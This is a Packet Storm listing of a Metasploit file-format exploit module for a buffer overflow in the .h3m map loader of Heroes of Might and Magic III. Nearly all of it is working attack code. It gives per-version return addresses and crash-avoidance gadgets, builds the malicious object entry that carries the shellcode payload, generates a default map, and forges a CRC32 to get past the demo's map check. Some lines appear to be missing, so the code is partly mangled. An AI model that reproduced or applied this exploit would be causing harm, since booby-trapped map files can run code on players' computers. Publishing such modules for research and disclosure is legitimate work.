Heroes Of Might And Magic III .h3m Map File Buffer Overflow

Type packetstorm
Reporter Pierre Lindblad
Modified 2015-08-04T00:00:00


# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
require 'msf/core'  
require 'zlib'  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
include Msf::Exploit::FILEFORMAT  
def initialize(info = {})  
'Name' => 'Heroes of Might and Magic III .h3m Map file Buffer Overflow',  
'Description' => %q{  
This module embeds an exploit into an ucompressed map file (.h3m) for  
Heroes of Might and Magic III. Once the map is started in-game, a  
buffer overflow occuring when loading object sprite names leads to  
shellcode execution.  
'License' => MSF_LICENSE,  
'Author' =>  
'Pierre Lindblad', # Vulnerability discovery  
'John AAkerblom' # Vulnerability discovery, PoC and Metasploit module  
'References' =>  
[ 'EDB', '37716' ]  
'DefaultOptions' =>  
'EXITFUNC' => 'process'  
'Platform' => 'win',  
'Targets' =>  
'H3 Complete [Heroes3.exe 78956DFAB3EB8DDF29F6A84CF7AD01EE]',  
# Two "Anticrash"-gadgets are needed or the game will crash before ret  
# Anticrash1, needs to pass the following code down to final JMP:  
# MOV EAX, DWORD PTR DS : [ESI + 4] ; [Anticrash1 + 4]  
# JE SHORT <crash spot> ; JMP to crash if EAX is 0  
# MOV CL, BYTE PTR DS : [EAX - 1]  
# CMP CL, BL  
# JE SHORT <crash spot> ; JMP to crash if the byte before [EAX] is 0  
# CMP CL, 0FF  
# JE SHORT <crash spot> ; JMP to crash if the byte before [EAX] is 0xFF  
# JNE <good spot> ; JMP to good spot. Always occurs if we get this far  
# Summary: An address which when incremented by 4 and then dereferenced  
# leads to for example a string which is preceeded neither by a 0x00 or 0xFF  
'Anticrash1' => 0x004497D4,  
# Anticrash2, needs to return out of the following call (tricky):  
# MOV EAX, DWORD PTR DS : [ECX] ; [Anticrash2]  
# CALL DWORD PTR DS : [EAX + 4] ; [[Anticrash2] + 4]  
# Summary: An address which when dereferenced leads to an address that  
# when incremented by 4 and then deferenced leads to a function returning  
# without accessing any registers/memory that would cause a crash.  
'Anticrash2' => 0x006A6430,  
'Ret' => 0x004EFF87, # CALL ESP Heroes3.exe  
'Padding' => 121 # Amount of bytes from exploit's 7 initial 0x00 bytes and saved eip  
'HD Mod 3.808 build 9 [Heroes3 HD.exe 56614D31CC6F077C2D511E6AF5619280]',  
'Anticrash1' => 0x00456A48,  
'Anticrash2' => 0x006A6830,  
'Ret' => 0x00580C0F, # CALL ESP Heroes3 HD.exe  
'Padding' => 121 # Amount of bytes from exploit's 7 initial 0x00 bytes and saved eip  
'Heroes III Demo [h3demo.exe 522B6F45F534058D02A561838559B1F4]',  
# The two anticrash gadgets are accessed in reverse order for this target,  
# meaning that the documentation above for Anticrash1 applies to Anticrash2  
# here. However, Anticrash1 here is accessed differently than the other targets.  
# Anticrash1, needs to pass the following code:  
# CMP BYTE PTR SS:[EBP+5C], 72 ; [Anticrash1 + 0x5C]  
# JNE 00591F37  
# MOV EAX,DWORD PTR SS:[EBP+38] ; [Anticrash1 + 0x38]  
'Anticrash1' => 0x00580C0F, # Coincidentally the Ret value from HD Mod target  
# Anticrash2, see documentation for Anticrash1 (not 2) in H3 Complete target  
'Anticrash2' => 0x005CE200,  
'Ret' => 0x0043EAB1, # CALL ESP h3demo.exe  
'Padding' => 109, # Amount of bytes from exploit's 7 initial 0x00 bytes and saved eip  
'CRC32' => 0xFEEFB9EB  
'Privileged' => false,  
'DisclosureDate' => 'Jul 29 2015',  
'DefaultTarget' => 0))  
'If file exists, exploit will be embedded' \  
' into it. If not, a new default h3m file where' \  
' it will be embedded will be created.',  
], self.class)  
def exploit  
buf = ''  
# Load h3m into buffer from uncompressed .h3m on disk/default data  
buf << read_file(datastore['FILENAME'])  
print_status('File ' + datastore['FILENAME'] + ' exists, will embed exploit if possible')  
rescue Errno::ENOENT  
print_warning('File ' + datastore['FILENAME'] + ' does not exist, creating new file from ' \  
'default .h3m data')  
buf << make_default_h3m  
# Find the object attributes array in the file by searching for a sprite name that occurs  
# as the first game object in all maps.  
objects_pos = buf.index('AVWmrnd0.def')  
if objects_pos.nil?  
print_error('Failed to find game object section in file ' + datastore['FILENAME'] + \  
'. Make sure this file is an uncompressed .h3m (and has not yet had exploit embedded)')  
# Entries in the objects array start with a string size followed by game sprite name string  
# Move back 4 bytes from the first sprite name to get to the start of the objects array  
objects_pos -= 4  
print_good('Found object attributes array in file at decimal offset ' + objects_pos.to_s)  
# Construct a malicious object entry with a big size, where the sprite name starts  
# with a NULL terminator and 6 extra 0x00 bytes. The first 2 of those 6 can be anything,  
# but certain values for the last 4 will cause the CALL-ESP gadget address to be overwritten.  
# After the 7 0x00 bytes comes 121 bytes of random data and then the CALL ESP-gadget for  
# overwriting the saved eip. Finally two "anticrash gadgets" that are used by the game before  
# it returns to the CALL ESP-gadget are required for the game not to crash before returning.  
size = 7 + target['Padding'] + 4 + 4 + 4 + payload.encoded.size  
exp = ''  
exp << [size].pack('V')  
exp << "\x00" * 7 # The first byte terminates string, next 2 dont matter, last 4 need to be 0  
exp << rand_text(target['Padding'])  
exp << [target.ret].pack('V')  
exp << [target['Anticrash1']].pack('V')  
exp << [target['Anticrash2']].pack('V')  
exp << payload.encoded  
# Embed malicious object entry. It is okay if we overwrite the rest of the file and extend buf  
from = objects_pos  
to = from + size  
buf[from..to] = exp  
print_good('Embedded exploit between decimal file offsets ' + from.to_s + ' and ' + to.to_s)  
# Demo version has a crc32 check to disallow other maps than the one it comes with.  
if target['CRC32']  
buf = forge_crc32(buf, target['CRC32'])  
if Zlib.crc32(buf) == target['CRC32']  
print_good('Forged CRC32 to 0x%08X by adding 4 bytes at end of file' % target['CRC32'])  
print_error('Failed to forge CRC32')  
# Write the uncompressed exploit .h3m (the game can load uncompressed .h3ms)  
def substring_pos(string, substring)  
string.enum_for(:scan, substring).map { $~.offset(0)[0] }  
# Loads a file  
def read_file(fname)  
buf = ''  
::File.open(fname, 'rb') do |f|  
buf << f.read  
# Returns data for a minimimum required S size h3m map containing 2 players  
def make_default_h3m  
buf = ''  
# Set map specifications to 36x36 (0x24000000) map with 2 players, with  
# default/no settings for name, description, victory condition etc  
buf << "\x0e\x00\x00\x00\x01\x24\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"  
buf << "\x00\x00\x01\x01\x01\x00\x01\x00\x00\x00\xff\x01\x01\x00\x01\x00"  
buf << "\x00\x00\xff\x00\x00\x00\x00\x00\x00\x00\xff\x00\x00\x00\x00\x8c"  
buf << "\x00\x00\xff\x00\x00\x00\x00\xb1\x00\x00\xff\x00\x00\x00\x00\x00"  
buf << "\x00\x00\xff\x00\x00\x00\x00\x7f\x00\x00\xff\x00\x00\x00\x00\x48"  
buf << "\x00\x00\xff\xff\xff\x00"  
buf << "\xFF" * 16  
buf << "\x00" * 35  
# Each tile is 7 bytes, fill map with empty dirt tiles (0x00)  
buf << "\x00" * (36 * 36 * 7)  
# Set object attribute array count to 1  
buf << "\x01\x00\x00\x00"  
# Size of first sprite name, this will be overwritten  
buf << "\x12\x34\x56\x78"  
# Standard name for first object, which will be searched for  
buf << 'AVWmrnd0.def'  
# Forge crc32 by adding 4 bytes at the end of data  
# http://blog.stalkr.net/2011/03/crc-32-forging.html  
def forge_crc32(data, wanted_crc)  
crc32_reverse = [  
0x00000000, 0xDB710641, 0x6D930AC3, 0xB6E20C82,  
0xDB261586, 0x005713C7, 0xB6B51F45, 0x6DC41904,  
0x6D3D2D4D, 0xB64C2B0C, 0x00AE278E, 0xDBDF21CF,  
0xB61B38CB, 0x6D6A3E8A, 0xDB883208, 0x00F93449,  
0xDA7A5A9A, 0x010B5CDB, 0xB7E95059, 0x6C985618,  
0x015C4F1C, 0xDA2D495D, 0x6CCF45DF, 0xB7BE439E,  
0xB74777D7, 0x6C367196, 0xDAD47D14, 0x01A57B55,  
0x6C616251, 0xB7106410, 0x01F26892, 0xDA836ED3,  
0x6F85B375, 0xB4F4B534, 0x0216B9B6, 0xD967BFF7,  
0xB4A3A6F3, 0x6FD2A0B2, 0xD930AC30, 0x0241AA71,  
0x02B89E38, 0xD9C99879, 0x6F2B94FB, 0xB45A92BA,  
0xD99E8BBE, 0x02EF8DFF, 0xB40D817D, 0x6F7C873C,  
0xB5FFE9EF, 0x6E8EEFAE, 0xD86CE32C, 0x031DE56D,  
0x6ED9FC69, 0xB5A8FA28, 0x034AF6AA, 0xD83BF0EB,  
0xD8C2C4A2, 0x03B3C2E3, 0xB551CE61, 0x6E20C820,  
0x03E4D124, 0xD895D765, 0x6E77DBE7, 0xB506DDA6,  
0xDF0B66EA, 0x047A60AB, 0xB2986C29, 0x69E96A68,  
0x042D736C, 0xDF5C752D, 0x69BE79AF, 0xB2CF7FEE,  
0xB2364BA7, 0x69474DE6, 0xDFA54164, 0x04D44725,  
0x69105E21, 0xB2615860, 0x048354E2, 0xDFF252A3,  
0x05713C70, 0xDE003A31, 0x68E236B3, 0xB39330F2,  
0xDE5729F6, 0x05262FB7, 0xB3C42335, 0x68B52574,  
0x684C113D, 0xB33D177C, 0x05DF1BFE, 0xDEAE1DBF,  
0xB36A04BB, 0x681B02FA, 0xDEF90E78, 0x05880839,  
0xB08ED59F, 0x6BFFD3DE, 0xDD1DDF5C, 0x066CD91D,  
0x6BA8C019, 0xB0D9C658, 0x063BCADA, 0xDD4ACC9B,  
0xDDB3F8D2, 0x06C2FE93, 0xB020F211, 0x6B51F450,  
0x0695ED54, 0xDDE4EB15, 0x6B06E797, 0xB077E1D6,  
0x6AF48F05, 0xB1858944, 0x076785C6, 0xDC168387,  
0xB1D29A83, 0x6AA39CC2, 0xDC419040, 0x07309601,  
0x07C9A248, 0xDCB8A409, 0x6A5AA88B, 0xB12BAECA,  
0xDCEFB7CE, 0x079EB18F, 0xB17CBD0D, 0x6A0DBB4C,  
0x6567CB95, 0xBE16CDD4, 0x08F4C156, 0xD385C717,  
0xBE41DE13, 0x6530D852, 0xD3D2D4D0, 0x08A3D291,  
0x085AE6D8, 0xD32BE099, 0x65C9EC1B, 0xBEB8EA5A,  
0xD37CF35E, 0x080DF51F, 0xBEEFF99D, 0x659EFFDC,  
0xBF1D910F, 0x646C974E, 0xD28E9BCC, 0x09FF9D8D,  
0x643B8489, 0xBF4A82C8, 0x09A88E4A, 0xD2D9880B,  
0xD220BC42, 0x0951BA03, 0xBFB3B681, 0x64C2B0C0,  
0x0906A9C4, 0xD277AF85, 0x6495A307, 0xBFE4A546,  
0x0AE278E0, 0xD1937EA1, 0x67717223, 0xBC007462,  
0xD1C46D66, 0x0AB56B27, 0xBC5767A5, 0x672661E4,  
0x67DF55AD, 0xBCAE53EC, 0x0A4C5F6E, 0xD13D592F,  
0xBCF9402B, 0x6788466A, 0xD16A4AE8, 0x0A1B4CA9,  
0xD098227A, 0x0BE9243B, 0xBD0B28B9, 0x667A2EF8,  
0x0BBE37FC, 0xD0CF31BD, 0x662D3D3F, 0xBD5C3B7E,  
0xBDA50F37, 0x66D40976, 0xD03605F4, 0x0B4703B5,  
0x66831AB1, 0xBDF21CF0, 0x0B101072, 0xD0611633,  
0xBA6CAD7F, 0x611DAB3E, 0xD7FFA7BC, 0x0C8EA1FD,  
0x614AB8F9, 0xBA3BBEB8, 0x0CD9B23A, 0xD7A8B47B,  
0xD7518032, 0x0C208673, 0xBAC28AF1, 0x61B38CB0,  
0x0C7795B4, 0xD70693F5, 0x61E49F77, 0xBA959936,  
0x6016F7E5, 0xBB67F1A4, 0x0D85FD26, 0xD6F4FB67,  
0xBB30E263, 0x6041E422, 0xD6A3E8A0, 0x0DD2EEE1,  
0x0D2BDAA8, 0xD65ADCE9, 0x60B8D06B, 0xBBC9D62A,  
0xD60DCF2E, 0x0D7CC96F, 0xBB9EC5ED, 0x60EFC3AC,  
0xD5E91E0A, 0x0E98184B, 0xB87A14C9, 0x630B1288,  
0x0ECF0B8C, 0xD5BE0DCD, 0x635C014F, 0xB82D070E,  
0xB8D43347, 0x63A53506, 0xD5473984, 0x0E363FC5,  
0x63F226C1, 0xB8832080, 0x0E612C02, 0xD5102A43,  
0x0F934490, 0xD4E242D1, 0x62004E53, 0xB9714812,  
0xD4B55116, 0x0FC45757, 0xB9265BD5, 0x62575D94,  
0x62AE69DD, 0xB9DF6F9C, 0x0F3D631E, 0xD44C655F,  
0xB9887C5B, 0x62F97A1A, 0xD41B7698, 0x0F6A70D9  
# forward calculation of CRC up to pos, sets current forward CRC state  
fwd_crc = 0xffffffff  
data.each_byte do |c|  
fwd_crc = (fwd_crc >> 8) ^ Zlib.crc_table[(fwd_crc ^ c) & 0xff]  
# backward calculation of CRC up to pos, sets wanted backward CRC state  
bkd_crc = wanted_crc ^ 0xffffffff  
# deduce the 4 bytes we need to insert  
[fwd_crc].pack('<L').each_byte.reverse_each do |c|  
bkd_crc = ((bkd_crc << 8) & 0xffffffff) ^ crc32_reverse[bkd_crc >> 24] ^ c  
res = data + [bkd_crc].pack('<L')